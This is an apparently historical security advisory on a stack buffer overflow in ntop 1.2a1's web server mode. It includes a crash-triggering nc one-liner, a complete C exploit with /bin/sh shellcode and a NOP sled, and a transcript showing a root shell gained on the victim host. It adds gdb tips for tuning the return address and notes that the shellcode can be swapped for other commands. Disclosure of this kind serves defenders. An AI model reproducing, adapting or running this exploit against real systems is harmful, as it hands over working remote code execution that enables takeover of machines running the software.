Ntop -w remote exploit

[JW Oh <mat () IVNTECH COM>]

1. Problem:
 ntop has a stack-based BOF when it's requested too long filename.
2. Tested Version
 ntop-1.2a1
 I only tested this version.
3. Example

 1. first run ntop -w 8080

 2. run this script
 $ printf "GET /`perl -e 'print "A"x240'`\r\n\r\n" |nc localhost 8080

 3. the ntop goes seg. fault.
 $ ntop -w 8080
  ntop v.1.2a1 MT [i686-pc-linux-gnu] listening on eth0.
  Copyright 1998-99 by Luca Deri <deri () unipi it>
  Warning: unable to read file '.ntop'. No security will be used!
  Waiting for HTTP connections on port 8080...
  Segmentation fault
4. Exploit

----------------------ntop-w-exp.c-----start-----------------------
#include <stdio.h>
#include <string.h>


char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

void usage()
{
 printf("NTOP ntop-1.2a1 -w mode command execution exploit.\n");
 printf("                                 mat () hacksware com\n");
 printf("Usage : ./ntop-w-exp | nc victim port\n");
 exit(0);
}

void main( int argc, char *argv[] )
{
  int i,offset=-24;
#define CODE_LEN 240
#define NOP_LEN 50
  char code_buf[CODE_LEN];
  unsigned long esp=0xbedffb00;

  if(argc >= 2) offset = atoi(argv[1]);

  memset(code_buf,0x90,NOP_LEN); //insert NOP CODES
  memcpy(code_buf+NOP_LEN, shellcode, strlen(shellcode));
  for(i=strlen(shellcode)+NOP_LEN;i<=CODE_LEN;i+=4)
     *(long *)&code_buf[i]=(unsigned long)esp-offset;

  printf("GET /");
  for(i=0;i<CODE_LEN; i++)
  {
     putchar(code_buf[i]);
  }
  printf("\r\n\r\n");
}
-------------------------ntop-w-exp.c----end--------------------------


5. Example
 1. first you run ntop -w 8080 in victim machine
  [mat@overheaven mat]$ id
  uid=500(mat) gid=500(mat) groups=500(mat),0(root),200(staff)
  [mat@overheaven mat]$ ntop -w 8080
  ntop v.1.2a1 MT [i686-pc-linux-gnu] listening on eth0.
  Copyright 1998-99 by Luca Deri <deri () unipi it>
  Warning: unable to read file '.ntop'. No security will be used!
  Waiting for HTTP connections on port 8080...


 2. compile exploit
  $ gcc -o ntop-w-exp ntop-w-exp.c
 3. send shell code to overheaven
  $ ./ntop-w-exp |nc overheaven 8080
 4. Now you get root shell in overheaven terminal
  base# hostname
  overheaven
  bash# id
  uid=0(root) gid=500(mat) groups=500(mat),0(root),200(staff)
 5. You cannot get shell in WWW port, so you can alternatively run programs other than "/bin/sh" by modifying shellcode.
 6. If you cannot get shellcode to work, you must modify esp value in ntop-w-exp.c. Using gdb you can easily guess it.

    1. break returnHTTPPage
    2. break strcpy
    3. x/x $esp


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|               mat () hacksware com               |
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